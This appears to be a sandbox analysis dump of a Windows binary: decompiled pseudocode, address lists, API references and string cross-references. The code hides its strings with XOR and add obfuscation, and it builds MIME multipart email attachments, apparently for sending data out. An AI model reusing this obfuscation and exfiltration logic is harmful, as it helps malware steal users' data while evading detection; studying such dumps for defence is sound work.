																 *((char*)(_t865 + 0x33)) = 0xd6;
																 *((char*)(_t865 + 0x34)) = 0x31;
																 *((char*)(_t865 + 0x35)) = 0x9e;
																 *((char*)(_t865 + 0x36)) = 0x41;
																 *((char*)(_t865 + 0x37)) = 0x78;
																 *((char*)(_t865 + 0x38)) = 0x5e;
																 *((char*)(_t865 + 0x3a)) = 0xa0;
																 *((char*)(_t865 + 0x3b)) = 0x2e;
																 *((char*)(_t865 + 0x3c)) = 0x5f;
																 *((char*)(_t865 + 0x3d)) = 0xb7;
																 *((char*)(_t865 + 0x3e)) = 0xbd;
																 *((char*)(_t865 + 0x3f)) = 0x2d;
																 *((char*)(_t865 + 0x40)) = 0x4d;
																 *((char*)(_t865 + 0x41)) = 0x97;
																 *((char*)(_t865 + 0x42)) = 0x7b;
																 *((char*)(_t865 + 0x43)) = 0xfb;
																 *((char*)(_t865 + 0x44)) = 0xf9;
																 *((char*)(_t865 + 0x45)) = 0x53;
																 *((char*)(_t865 + 0x58)) = 0x53;
																 *((char*)(_t865 + 0x46)) = 0xd1;
																 *((char*)(_t865 + 0x47)) = 0x45;
																 *((char*)(_t865 + 0x48)) = 0x3c;
																 *((char*)(_t865 + 0x49)) = 0x8e;
																 *((char*)(_t865 + 0x4a)) = 0x32;
																 *((char*)(_t865 + 0x4b)) = 0xc0;
																 *((char*)(_t865 + 0x4c)) = 0xe0;
																 *((char*)(_t865 + 0x4d)) = 0x5c;
																 *((char*)(_t865 + 0x4e)) = 0xf9;
																 *((char*)(_t865 + 0x4f)) = 0xd3;
																 *((char*)(_t865 + 0x50)) = 8;
																 *((char*)(_t865 + 0x51)) = 0x2d;
																 *((char*)(_t865 + 0x52)) = 0x69;
																 *((char*)(_t865 + 0x53)) = 6;
																 *((char*)(_t865 + 0x54)) = 0xfc;
																 *((char*)(_t865 + 0x55)) = 0x83;
																 *((char*)(_t865 + 0x56)) = 3;
																 *((char*)(_t865 + 0x57)) = 0x41;
																 *((char*)(_t865 + 0x59)) = 0xc8;
																 *((char*)(_t865 + 0x5a)) = 8;
																 *((char*)(_t865 + 0x5b)) = 0x11;
																 *((char*)(_t865 + 0x5c)) = 0x5e;
																 *((char*)(_t865 + 0x5d)) = 0x92;
																 *((char*)(_t865 + 0x5e)) = 0x81;
																 *((char*)(_t865 + 0x5f)) = 0x2e;
																 *((char*)(_t865 + 0x60)) = 9;
																 *((char*)(_t865 + 0x61)) = 0xae;
																 *((char*)(_t865 + 0x62)) = 0x2b;
																 *((char*)(_t865 + 0x63)) = 0x30;
																_t671 = 0;
																do {
																	 *((char*)(_t865 + _t671 + 0x88)) =  *((intOrPtr*)(_t865 + _t671 + 0x88)) +  *((intOrPtr*)(_t865 + _t671 + 0x30));
																	 *((char*)(_t865 + _t671 + 0x89)) =  *((intOrPtr*)(_t865 + _t671 + 0x89)) +  *((intOrPtr*)(_t865 + _t671 + 0x31));
																	 *((char*)(_t865 + _t671 + 0x8a)) =  *((intOrPtr*)(_t865 + _t671 + 0x8a)) +  *((intOrPtr*)(_t865 + _t671 + 0x32));
																	 *((char*)(_t865 + _t671 + 0x8b)) =  *((intOrPtr*)(_t865 + _t671 + 0x8b)) +  *((intOrPtr*)(_t865 + _t671 + 0x33));
																	_t671 = _t671 + 4;
																} while (_t671 < 0x34);
																if( *((intOrPtr*)(_t863 + 0xa4)) < 0x10) {
																	_t672 = _t863 + 0x90;
																} else {
																	_t672 =  *((intOrPtr*)(_t863 + 0x90));
																}
																 *0x431f14(_t865 + 0x1b0, _t865 + 0x8c, _t672);
																_t865 = _t865 + 0xc;
																if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t675) != 0xffffffff) {
																	 *((char*)(_t865 + 0x6f)) = 0x9d;
																	 *((char*)(_t865 + 0x82)) = 0x9d;
																	 *((char*)(_t865 + 0x66)) = 0x7b;
																	 *((char*)(_t865 + 0x50)) = 0xef;
																	 *((char*)(_t865 + 0x52)) = 0xef;
																	 *(_t865 + 0x64) = 0x64;
																	 *((char*)(_t865 + 0x65)) = 0x99;
																	 *((char*)(_t865 + 0x67)) = 0xe3;
																	 *((char*)(_t865 + 0x68)) = 0x8b;
																	 *((char*)(_t865 + 0x69)) = 0xe;
																	 *((char*)(_t865 + 0x6a)) = 0x82;
																	 *((char*)(_t865 + 0x6b)) = 0xb4;
																	 *((char*)(_t865 + 0x6c)) = 0x25;
																	 *((char*)(_t865 + 0x6d)) = 0xe6;
																	 *((char*)(_t865 + 0x6e)) = 0xac;
																	 *((char*)(_t865 + 0x70)) = 0x8d;
																	 *((char*)(_t865 + 0x71)) = 0x19;
																	 *((char*)(_t865 + 0x72)) = 0x39;
																	 *((char*)(_t865 + 0x73)) = 0xcb;
																	 *((char*)(_t865 + 0x74)) = 0xd1;
																	 *((char*)(_t865 + 0x75)) = 0x15;
																	 *((char*)(_t865 + 0x76)) = 0x5b;
																	 *((char*)(_t865 + 0x77)) = 0x57;
																	 *((char*)(_t865 + 0x78)) = 0x3e;
																	 *((char*)(_t865 + 0x79)) = 0x63;
																	 *((char*)(_t865 + 0x7a)) = 0xf1;
																	 *((char*)(_t865 + 0x7b)) = 0;
																	 *((char*)(_t865 + 0x7c)) = 0xd2;
																	 *((char*)(_t865 + 0x7d)) = 0x15;
																	 *((char*)(_t865 + 0x7e)) = 0xbe;
																	 *((char*)(_t865 + 0x7f)) = 0x45;
																	 *((char*)(_t865 + 0x80)) = 0xf2;
																	 *((char*)(_t865 + 0x81)) = 0x15;
																	 *((char*)(_t865 + 0x83)) = 0x1e;
																	 *((char*)(_t865 + 0x84)) = 0xdb;
																	 *((char*)(_t865 + 0x85)) = 0x81;
																	 *((char*)(_t865 + 0x86)) = 0xe5;
																	 *((char*)(_t865 + 0x87)) = 0x9f;
																	 *((char*)(_t865 + 0x30)) = 0x27;
																	 *((char*)(_t865 + 0x31)) = 0xf6;
																	 *((char*)(_t865 + 0x32)) = 0x15;
																	 *((char*)(_t865 + 0x33)) = 0x97;
																	 *((char*)(_t865 + 0x34)) = 0xee;
																	 *((char*)(_t865 + 0x35)) = 0x60;
																	 *((char*)(_t865 + 0x36)) = 0xf6;
																	 *((char*)(_t865 + 0x37)) = 0x99;
																	 *((char*)(_t865 + 0x38)) = 0x51;
																	 *((char*)(_t865 + 0x39)) = 0x94;
																	 *((char*)(_t865 + 0x3a)) = 0xcd;
																	 *((char*)(_t865 + 0x3b)) = 0xf3;
																	 *((char*)(_t865 + 0x3c)) = 0xfe;
																	 *((char*)(_t865 + 0x3d)) = 0x7f;
																	 *((char*)(_t865 + 0x3e)) = 0x5c;
																	 *((char*)(_t865 + 0x3f)) = 0xb9;
																	 *((char*)(_t865 + 0x40)) = 0xfc;
																	 *((char*)(_t865 + 0x41)) = 0x70;
																	 *((char*)(_t865 + 0x42)) = 0x35;
																	 *((char*)(_t865 + 0x43)) = 0x34;
																	 *((char*)(_t865 + 0x44)) = 0x51;
																	 *((char*)(_t865 + 0x45)) = 7;
																	 *((char*)(_t865 + 0x46)) = 0x98;
																	 *((char*)(_t865 + 0x47)) = 0x6e;
																	 *((char*)(_t865 + 0x48)) = 0xb5;
																	 *((char*)(_t865 + 0x49)) = 0x2f;
																	 *((char*)(_t865 + 0x4a)) = 0x9e;
																	 *((char*)(_t865 + 0x4b)) = 0x27;
																	 *((char*)(_t865 + 0x4c)) = 0x93;
																	 *((char*)(_t865 + 0x4d)) = 0x66;
																	 *((char*)(_t865 + 0x4e)) = 0xf8;
																	 *((char*)(_t865 + 0x4f)) = 0x28;
																	 *((char*)(_t865 + 0x51)) = 0x8c;
																	 *((char*)(_t865 + 0x53)) = 0x9f;
																	_t679 = 0;
																	do {
																		 *(_t865 + _t679 + 0x64) =  *(_t865 + _t679 + 0x64) ^  *(_t865 + _t679 + 0x30);
																		 *(_t865 + _t679 + 0x65) =  *(_t865 + _t679 + 0x65) ^  *(_t865 + _t679 + 0x31);
																		 *(_t865 + _t679 + 0x66) =  *(_t865 + _t679 + 0x66) ^  *(_t865 + _t679 + 0x32);
																		 *(_t865 + _t679 + 0x67) =  *(_t865 + _t679 + 0x67) ^  *(_t865 + _t679 + 0x33);
																		 *(_t865 + _t679 + 0x68) =  *(_t865 + _t679 + 0x68) ^  *(_t865 + _t679 + 0x34);
																		 *(_t865 + _t679 + 0x69) =  *(_t865 + _t679 + 0x69) ^  *(_t865 + _t679 + 0x35);
																		_t679 = _t679 + 6;
																	} while (_t679 < 0x24);
																	if(E0041BC30(lstrlenA(_t865 + 0x64), _t859, _t865 + 0x68, _t681) == 0xffffffff) {
																		goto L31;
																	} else {
																		 *((char*)(_t865 + 0xe2)) = 0x3b;
																		 *((char*)(_t865 + 0xe5)) = 0x3b;
																		 *((char*)(_t865 + 0xf2)) = 0x3b;
																		 *((char*)(_t865 + 0xfd)) = 0x3b;
																		 *((char*)(_t865 + 0x105)) = 0x3b;
																		 *((char*)(_t865 + 0xe0)) = 0x16;
																		 *((char*)(_t865 + 0xe1)) = 0x3a;
																		 *((char*)(_t865 + 0xe3)) = 0x21;
																		 *((char*)(_t865 + 0xe4)) = 0x30;
																		 *((char*)(_t865 + 0xe6)) = 0x21;
																		 *((char*)(_t865 + 0xe7)) = 0x78;
																		 *((char*)(_t865 + 0xe8)) = 0x11;
																		 *((char*)(_t865 + 0xe9)) = 0x3c;
																		 *((char*)(_t865 + 0xea)) = 0x26;
																		 *((char*)(_t865 + 0xeb)) = 0x25;
																		 *((char*)(_t865 + 0xec)) = 0x3a;
																		 *((char*)(_t865 + 0xed)) = 0x26;
																		 *((char*)(_t865 + 0xee)) = 0x3c;
																		 *((char*)(_t865 + 0xef)) = 0x21;
																		 *((char*)(_t865 + 0xf0)) = 0x3c;
																		 *((char*)(_t865 + 0xf1)) = 0x3a;
																		 *((char*)(_t865 + 0xf3)) = 0x6f;
																		 *((char*)(_t865 + 0xf4)) = 0x75;
																		 *((char*)(_t865 + 0xf5)) = 0x34;
																		 *((char*)(_t865 + 0xf6)) = 0x21;
																		 *((char*)(_t865 + 0xf7)) = 0x21;
																		 *((char*)(_t865 + 0xf8)) = 0x34;
																		 *((char*)(_t865 + 0xf9)) = 0x36;
																		 *((char*)(_t865 + 0xfa)) = 0x3d;
																		 *((char*)(_t865 + 0xfb)) = 0x38;
																		 *((char*)(_t865 + 0xfc)) = 0x30;
																		 *((char*)(_t865 + 0xfe)) = 0x21;
																		 *((char*)(_t865 + 0xff)) = 0x6e;
																		 *((char*)(_t865 + 0x100)) = 0x75;
																		 *((char*)(_t865 + 0x101)) = 0x33;
																		 *((char*)(_t865 + 0x102)) = 0x3c;
																		 *((char*)(_t865 + 0x103)) = 0x39;
																		 *((char*)(_t865 + 0x104)) = 0x30;
																		 *((char*)(_t865 + 0x106)) = 0x34;
																		 *((char*)(_t865 + 0x107)) = 0x38;
																		 *((char*)(_t865 + 0x108)) = 0x30;
																		 *((char*)(_t865 + 0x109)) = 0x68;
																		 *((char*)(_t865 + 0x10a)) = 0x77;
																		 *((char*)(_t865 + 0x10b)) = 0x70;
																		 *((char*)(_t865 + 0x10c)) = 0x26;
																		 *((char*)(_t865 + 0x10d)) = 0x77;
																		 *((char*)(_t865 + 0x10e)) = 0x58;
																		 *((char*)(_t865 + 0x10f)) = 0x5f;
																		 *((char*)(_t865 + 0x110)) = 0x55;
																		_t684 = 0;
																		do {
																			 *(_t865 + _t684 + 0xe0) =  *(_t865 + _t684 + 0xe0) ^ 0x00000055;
																			_t684 = _t684 + 1;
																		} while (_t684 < 0x31);
																		if( *((intOrPtr*)(_t863 + 0xa4)) < 0x10) {
																			_t685 = _t863 + 0x90;
																		} else {
																			_t685 =  *((intOrPtr*)(_t863 + 0x90));
																		}
																		 *0x431f14(_t865 + 0x1b0, _t865 + 0xe4, _t685);
																		_t865 = _t865 + 0xc;
																		if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t688) != 0xffffffff) {
																			if(E0041BC30(_t865 + 0x18, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																				if(E0041BC30(_t691, _t859,  *((intOrPtr*)(_t863 + 0xa8)),  *((intOrPtr*)(_t863 + 0xac))) == 0xffffffff) {
																					goto L31;
																				} else {
																					if(E0041BC30(_t865 + 0x18, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																						if(E0041BC30(_t694, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																							 *0x431f14(_t865 + 0x1ac, "--%s--\r\n", _t865 + 0x128);
																							if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t698) != 0xffffffff) {
																								L77:
																								_t635 = 1;
																							} else {
																								_t635 = 0;
																							}
																						} else {
																							 *0x431c88 =  *(_t865 + 0x10) & 0x00000038;
																							_t635 = 0;
																						}
																					} else {
																						 *0x431c88 = 0;
																						_t635 = 0;
																					}
																				}
																			} else {
																				 *0x431c88 = 0xb;
																				_t635 = 0;
																			}
																		} else {
																			 *0x431c88 =  *0x431c88 | 0x000000e4;
																			_t635 = 0;
																		}
																	}
																} else {
																	_t702 =  *0x431c88; // 0x0
																	 *0x431c88 =  !(_t702 *  *(_t865 + 0x10) & 0x0000000a) & 0x0000003e;
																	_t635 = 0;
																}
															}
														}
													}
												}
											}
										}
									} else {
										 *((char*)(_t865 + 0x30)) = 0x8b;
										 *((char*)(_t865 + 0x31)) = 0xa2;
										 *((char*)(_t865 + 0x32)) = 0x94;
										 *((char*)(_t865 + 0x33)) = 0x67;
										 *((char*)(_t865 + 0x34)) = 0x43;
										 *((char*)(_t865 + 0x35)) = 0x92;
										 *((char*)(_t865 + 0x36)) = 0xa1;
										 *((char*)(_t865 + 0x37)) = 0x41;
										 *((char*)(_t865 + 0x38)) = 0xeb;
										 *((char*)(_t865 + 0x39)) = 0x38;
										 *((char*)(_t865 + 0x3a)) = 0xf9;
										 *((char*)(_t865 + 0x3b)) = 0xea;
										 *((char*)(_t865 + 0x3c)) = 0xbc;
										 *((char*)(_t865 + 0x3d)) = 0x38;
										 *((char*)(_t865 + 0x1c)) = 0xc8;
										 *((char*)(_t865 + 0x1d)) = 0xd3;
										 *((char*)(_t865 + 0x1e)) = 0xce;
										 *((char*)(_t865 + 0x1f)) = 3;
										 *((char*)(_t865 + 0x20)) = 0x22;
										 *((char*)(_t865 + 0x21)) = 0xd1;
										 *((char*)(_t865 + 0x22)) = 0xd3;
										 *((char*)(_t865 + 0x23)) = 0xf9;
										 *((char*)(_t865 + 0x24)) = 0x35;
										 *((char*)(_t865 + 0x25)) = 0xed;
										 *((char*)(_t865 + 0x26)) = 0x7a;
										 *((char*)(_t865 + 0x27)) = 0x23;
										 *((char*)(_t865 + 0x28)) = 0x4e;
										 *((char*)(_t865 + 0x29)) = 0xc8;
										_t707 = 0;
										do {
											 *((char*)(_t865 + _t707 + 0x30)) =  *((intOrPtr*)(_t865 + _t707 + 0x30)) +  *((intOrPtr*)(_t865 + _t707 + 0x1c));
											 *((char*)(_t865 + _t707 + 0x31)) =  *((intOrPtr*)(_t865 + _t707 + 0x31)) +  *((intOrPtr*)(_t865 + _t707 + 0x1d));
											_t707 = _t707 + 2;
										} while (_t707 < 0xe);
										if( *((intOrPtr*)(_t852 + 0x6c)) < 0x10) {
											_t708 = _t852 + 0x58;
										} else {
											_t708 =  *((intOrPtr*)(_t852 + 0x58));
										}
										 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t708);
										_t865 = _t865 + 0xc;
										if(E0041BC30(_t865 + 0x1ac, _t859, _t865 + 0x1ac, lstrlenA(_t865 + 0x1a8)) == 0xffffffff) {
											goto L31;
										} else {
											goto L40;
										}
									}
								} else {
									goto L31;
								}
							}
						}
					} else {
						_t856 = 0x62;
						if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t732, _t865 + 0x1ac, _t721) == 0xffffffff) {
							L31:
							_t635 = 0;
						} else {
							goto L25;
						}
					}
					return E00424873(_t635,  *((intOrPtr*)(_t865 + 0x5a8)));
				}
			}

0x0040c8e6
0x0040c8ee
0x0040c8f0
0x0040c8f7
0x0040c8fb
0x0040c900
0x0040c905
0x0040c90a
0x0040c90c
0x0040c911
0x0040c915
0x0040c919
0x0040c91d
0x0040c91e
0x0040c922
0x0040c923
0x0040c935
0x0040c949
0x0040c94d
0x0040c954
0x0040c958
0x0040c963
0x0040c96e
0x0040c970
0x0040c98a
0x0040c9b6
0x0040c9b9
0x0040c9bf
0x0040c9c2
0x0040c9cc
0x0040ca70
0x0040ca72
0x0040ca77
0x0040ca7c
0x0040ca81
0x0040ca86
0x0040ca8b
0x0040ca90
0x0040ca95
0x0040ca9a
0x0040ca9f
0x0040caa4
0x0040caa9
0x0040cab0
0x0040cab0
0x0040cab5
0x0040cab6
0x0040cabe
0x0040cac5
0x0040cac0
0x0040cac0
0x0040cac0
0x0040cad6
0x0040cadc
0x0040cadc
0x0040c9d2
0x0040c9d4
0x0040c9da
0x0040c9df
0x0040c9e4
0x0040c9e9
0x0040c9ee
0x0040c9f3
0x0040c9f8
0x0040c9fd
0x0040ca02
0x0040ca07
0x0040ca0c
0x0040ca11
0x0040ca16
0x0040ca1b
0x0040ca20
0x0040ca25
0x0040ca2a
0x0040ca30
0x0040ca30
0x0040ca35
0x0040ca36
0x0040ca3d
0x0040ca44
0x0040ca3f
0x0040ca3f
0x0040ca3f
0x0040ca4a
0x0040ca51
0x0040ca4c
0x0040ca4c
0x0040ca4c
0x0040ca56
0x0040ca63
0x0040ca69
0x0040ca69
0x0040c9d4
0x0040caeb
0x0040cb15
0x0040cb17
0x0040cb1e
0x0040cb30
0x0040cb37
0x0040cb45
0x0040cb48
0x0040cb50
0x0040cb58
0x0040cb60
0x0040cb68
0x0040cb70
0x0040cb78
0x0040cb80
0x0040cb88
0x0040cb90
0x0040cb98
0x0040cba0
0x0040cba8
0x0040cbb0
0x0040cbb8
0x0040cbc0
0x0040cbc8
0x0040cbcf
0x0040cbd3
0x0040cbd8
0x0040cbdd
0x0040cbe2
0x0040cbe6
0x0040cbeb
0x0040cbf0
0x0040cbf5
0x0040cbfa
0x0040cbff
0x0040cc04
0x0040cc09
0x0040cc0e
0x0040cc13
0x0040cc18
0x0040cc1d
0x0040cc22
0x0040cc27
0x0040cc4b
0x00000000
0x0040cc51
0x0040cc51
0x0040cc5a
0x0040cce3
0x00000000
0x0040cc60
0x0040cc64
0x0040cc69
0x0040cc6e
0x0040cc73
0x0040cc78
0x0040cc7d
0x0040cc82
0x0040cc87
0x0040cc8c
0x0040cc91
0x0040cc98
0x0040cc93
0x0040cc93
0x0040cc93
0x0040cca9
0x0040ccaf
0x0040ccba
0x0040ccc0
0x0040ccda
0x0040ccea
0x0040ccef
0x0040cdf3
0x0040cdfb
0x0040d93f
0x0040d94b
0x0040d957
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ce1d
0x0040ce2b
0x0040ce2f
0x0040ce3a
0x0040ce43
0x0040ce46
0x0040ce4d
0x0040ce54
0x0040ce5b
0x0040ce62
0x0040ce6a
0x0040ce72
0x0040ce7a
0x0040ce82
0x0040ce8a
0x0040ce92
0x0040ce9a
0x0040cea2
0x0040cea9
0x0040ceb1
0x0040ceb9
0x0040cec1
0x0040cec9
0x0040ced1
0x0040ced9
0x0040cee0
0x0040cee7
0x0040ceef
0x0040cef7
0x0040ceff
0x0040cf06
0x0040cf0d
0x0040cf15
0x0040cf1d
0x0040cf25
0x0040cf2d
0x0040cf35
0x0040cf3d
0x0040cf40
0x0040cf40
0x0040cf48
0x0040cf49
0x0040cf6f
0x00000000
0x0040cf75
0x0040cf83
0x0040cf88
0x0040cf8d
0x0040cf92
0x0040cf97
0x0040cf9c
0x0040cfa1
0x0040cfa6
0x0040cfab
0x0040cfb0
0x0040cfb5
0x0040cfba
0x0040cfbf
0x0040cfc4
0x0040cfc9
0x0040cfce
0x0040cfd3
0x0040cfd8
0x0040cfdd
0x0040cfe2
0x0040cfe7
0x0040cfec
0x0040cff1
0x0040cff6
0x0040cffb
0x0040d000
0x0040d005
0x0040d009
0x0040d00e
0x0040d013
0x0040d018
0x0040d01d
0x0040d022
0x0040d027
0x0040d02c
0x0040d031
0x0040d036
0x0040d03b
0x0040d040
0x0040d056
0x0040d062
0x0040d082
0x00000000
0x0040d088
0x0040d09d
0x0040d0a3
0x0040d0c3
0x00000000
0x0040d0c9
0x0040d0c9
0x0040d0d7
0x00000000
0x0040d0dd
0x0040d0f2
0x0040d0f8
0x0040d118
0x00000000
0x0040d11e
0x0040d120
0x0040d127
0x0040d132
0x0040d139
0x0040d142
0x0040d149
0x0040d150
0x0040d157
0x0040d15e
0x0040d168
0x0040d16f
0x0040d176
0x0040d17d
0x0040d185
0x0040d18d
0x0040d195
0x0040d19d
0x0040d1a5
0x0040d1ad
0x0040d1b5
0x0040d1bd
0x0040d1c5
0x0040d1cd
0x0040d1d5
0x0040d1dd
0x0040d1e5
0x0040d1ed
0x0040d1f5
0x0040d1fd
0x0040d205
0x0040d20d
0x0040d215
0x0040d21d
0x0040d225
0x0040d22d
0x0040d235
0x0040d23d
0x0040d245
0x0040d24d
0x0040d255
0x0040d25d
0x0040d265
0x0040d26d
0x0040d275
0x0040d27d
0x0040d285
0x0040d28d
0x0040d295
0x0040d29d
0x0040d2a5
0x0040d2ad
0x0040d2b5
0x0040d2bd
0x0040d2c5
0x0040d2ca
0x0040d2cf
0x0040d2d4
0x0040d2d9
0x0040d2de
0x0040d2e3
0x0040d2e8
0x0040d2ed
0x0040d2f1
0x0040d2f6
0x0040d2fb
0x0040d300
0x0040d305
0x0040d30a
0x0040d30e
0x0040d313
0x0040d318
0x0040d31c
0x0040d321
0x0040d328
0x0040d32c
0x0040d330
0x0040d335
0x0040d33a
0x0040d33f
0x0040d344
0x0040d349
0x0040d34e
0x0040d353
0x0040d358
0x0040d35d
0x0040d362
0x0040d367
0x0040d36b
0x0040d370
0x0040d375
0x0040d37a
0x0040d37f
0x0040d384
0x0040d389
0x0040d38e
0x0040d393
0x0040d398
0x0040d39c
0x0040d3a1
0x0040d3a6
0x0040d3ab
0x0040d3b0
0x0040d3b5
0x0040d3ba
0x0040d3bf
0x0040d3c1
0x0040d3d5
0x0040d3e9
0x0040d3fd
0x0040d40a
0x0040d411
0x0040d414
0x0040d420
0x0040d42a
0x0040d422
0x0040d422
0x0040d422
0x0040d441
0x0040d447
0x0040d467
0x0040d486
0x0040d48a
0x0040d493
0x0040d49b
0x0040d49f
0x0040d4a3
0x0040d4a8
0x0040d4ad
0x0040d4b2
0x0040d4b7
0x0040d4bc
0x0040d4c1
0x0040d4c6
0x0040d4cb
0x0040d4d0
0x0040d4d5
0x0040d4da
0x0040d4df
0x0040d4e4
0x0040d4e9
0x0040d4ee
0x0040d4f3
0x0040d4f8
0x0040d4fd
0x0040d502
0x0040d507
0x0040d50c
0x0040d511
0x0040d516
0x0040d51b
0x0040d520
0x0040d525
0x0040d52d
0x0040d535
0x0040d53d
0x0040d545
0x0040d54d
0x0040d555
0x0040d55c
0x0040d561
0x0040d566
0x0040d56b
0x0040d570
0x0040d575
0x0040d57a
0x0040d57f
0x0040d584
0x0040d589
0x0040d58e
0x0040d593
0x0040d598
0x0040d59d
0x0040d5a2
0x0040d5a7
0x0040d5ac
0x0040d5b1
0x0040d5b5
0x0040d5ba
0x0040d5bf
0x0040d5c4
0x0040d5c9
0x0040d5ce
0x0040d5d3
0x0040d5d8
0x0040d5dd
0x0040d5e2
0x0040d5e7
0x0040d5ec
0x0040d5f1
0x0040d5f6
0x0040d5fb
0x0040d600
0x0040d604
0x0040d606
0x0040d614
0x0040d622
0x0040d630
0x0040d63e
0x0040d64c
0x0040d656
0x0040d65a
0x0040d65d
0x0040d679
0x00000000
0x0040d67f
0x0040d681
0x0040d688
0x0040d68f
0x0040d696
0x0040d69d
0x0040d6a4
0x0040d6ac
0x0040d6b4
0x0040d6bc
0x0040d6c4
0x0040d6cc
0x0040d6d4
0x0040d6dc
0x0040d6e4
0x0040d6ec
0x0040d6f4
0x0040d6fc
0x0040d704
0x0040d70c
0x0040d714
0x0040d71c
0x0040d724
0x0040d72c
0x0040d734
0x0040d73c
0x0040d744
0x0040d74c
0x0040d754
0x0040d75c
0x0040d764
0x0040d76c
0x0040d774
0x0040d77c
0x0040d784
0x0040d78c
0x0040d794
0x0040d79c
0x0040d7a4
0x0040d7ac
0x0040d7b4
0x0040d7bc
0x0040d7c4
0x0040d7cc
0x0040d7d4
0x0040d7db
0x0040d7e3
0x0040d7eb
0x0040d7f3
0x0040d7fb
0x0040d803
0x0040d810
0x0040d810
0x0040d818
0x0040d819
0x0040d825
0x0040d82f
0x0040d827
0x0040d827
0x0040d827
0x0040d846
0x0040d84c
0x0040d86c
0x0040d88d
0x0040d8b5
0x00000000
0x0040d8bb
0x0040d8cc
0x0040d8ed
0x0040d913
0x0040d939
0x0040d95d
0x0040d95d
0x0040d93b
0x0040d93b
0x0040d93b
0x0040d8ef
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8ce
0x0040d8ce
0x0040d8d5
0x0040d8d5
0x0040d8cc
0x0040d88f
0x0040d88f
0x0040d896
0x0040d896
0x0040d86e
0x0040d86e
0x0040d875
0x0040d875
0x0040d86c
0x0040d469
0x0040d469
0x0040d478
0x0040d47d
0x0040d47d
0x0040d467
0x0040d118
0x0040d0d7
0x0040d0c3
0x0040d082
0x0040cf6f
0x0040ccf5
0x0040ccf5
0x0040ccfa
0x0040ccff
0x0040cd04
0x0040cd09
0x0040cd0e
0x0040cd13
0x0040cd18
0x0040cd1d
0x0040cd22
0x0040cd27
0x0040cd2c
0x0040cd31
0x0040cd36
0x0040cd3b
0x0040cd40
0x0040cd45
0x0040cd4a
0x0040cd4f
0x0040cd54
0x0040cd59
0x0040cd5e
0x0040cd63
0x0040cd68
0x0040cd6d
0x0040cd72
0x0040cd77
0x0040cd7c
0x0040cd81
0x0040cd83
0x0040cd91
0x0040cd9b
0x0040cd9f
0x0040cda2
0x0040cdab
0x0040cdb2
0x0040cdad
0x0040cdad
0x0040cdad
0x0040cdc3
0x0040cdc9
0x0040cded
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cded
0x00000000
0x00000000
0x00000000
0x0040ccda
0x0040cc5a
0x0040caed
0x0040caf5
0x0040cb0f
0x0040ccdc
0x0040ccdc
0x00000000
0x00000000
0x00000000
0x0040cb0f
0x0040d978
0x0040d978

APIs

lstrlenA.KERNEL32(?,74786980,74786980), ref: 0040C96E
lstrlenA.KERNEL32(?,?,?,00000002,?,00000000), ref: 0040CAE7
lstrlenA.KERNEL32(?), ref: 0040CAFA
lstrlenA.KERNEL32(00000000), ref: 0040CC34
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CCBA
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CDD4

Strings

i, xrefs: 0040D36B
A, xrefs: 0040D2E3
4, xrefs: 0040D5BA
Q, xrefs: 0040D5BF
u, xrefs: 0040D72C
u, xrefs: 0040D784
X, xrefs: 0040D7EB
., xrefs: 0040D3A6
E, xrefs: 0040D520
x, xrefs: 0040D6CC
/, xrefs: 0040D022
`, xrefs: 0040D575
A, xrefs: 0040D384
', xrefs: 0040D5E2
--%s--, xrefs: 0040D90D
F, xrefs: 0040D2CA
T, xrefs: 0040D295
!, xrefs: 0040D744
+, xrefs: 0040CAA4
x, xrefs: 0040D205
o, xrefs: 0040D724
<, xrefs: 0040D704
0, xrefs: 0040D6BC
5, xrefs: 0040D5B5
!, xrefs: 0040D73C
:, xrefs: 0040CC6E
E, xrefs: 0040D2AD
_, xrefs: 0040D2FB
`, xrefs: 0040CF92
+, xrefs: 0040D3B5
!, xrefs: 0040D6C4
K, xrefs: 0040D24D
q, xrefs: 0040CFAB
=, xrefs: 0040D75C
f, xrefs: 0040D5EC
@, xrefs: 0040C9DA
w, xrefs: 0040D7E3
9, xrefs: 0040CF8D
<, xrefs: 0040D33A
n, xrefs: 0040D77C
&, xrefs: 0040D6E4
!, xrefs: 0040D70C
#, xrefs: 0040D1DD
d, xrefs: 0040D4A3
>, xrefs: 0040D4FD
', xrefs: 0040D255
:, xrefs: 0040D71C
0, xrefs: 0040D7BC
i, xrefs: 0040C9E4
[, xrefs: 0040D4F3
x, xrefs: 0040D2E8
/, xrefs: 0040D5D8
c, xrefs: 0040D502
', xrefs: 0040D55C
m, xrefs: 0040CBD3
0, xrefs: 0040D76C
<, xrefs: 0040D714
8, xrefs: 0040CD22
], xrefs: 0040C8FB
_, xrefs: 0040D7F3
6, xrefs: 0040D754
g, xrefs: 0040CBC0
9, xrefs: 0040D4DF
U, xrefs: 0040D810
h, xrefs: 0040D7C4
n, xrefs: 0040CBFF
g, xrefs: 0040CD04
(, xrefs: 0040D5F6
4, xrefs: 0040D734
e, xrefs: 0040D28D
", xrefs: 0040CD4F
&, xrefs: 0040D6FC
Q, xrefs: 0040D584
w, xrefs: 0040D036
7, xrefs: 0040D1BD
%, xrefs: 0040D6EC
X, xrefs: 0040C905
k, xrefs: 0040C9E9
%, xrefs: 0040D4C6
?, xrefs: 0040D25D
t, xrefs: 0040C9DF
\, xrefs: 0040D5A2
!, xrefs: 0040D6B4
W, xrefs: 0040D4F8
5, xrefs: 0040CB70
:, xrefs: 0040CC13
8, xrefs: 0040D764
w, xrefs: 0040D7CC
--%s, xrefs: 0040D097, 0040D0EC
8, xrefs: 0040CD36
0, xrefs: 0040D7A4
8, xrefs: 0040D275
3, xrefs: 0040D78C
P, xrefs: 0040CC09
:, xrefs: 0040D6AC
[, xrefs: 0040D23D
U, xrefs: 0040D7FB
., xrefs: 0040D2F6
9, xrefs: 0040D79C
&u#&, xrefs: 0040CA56, 0040CA5A
n, xrefs: 0040D5CE
n, xrefs: 0040D185
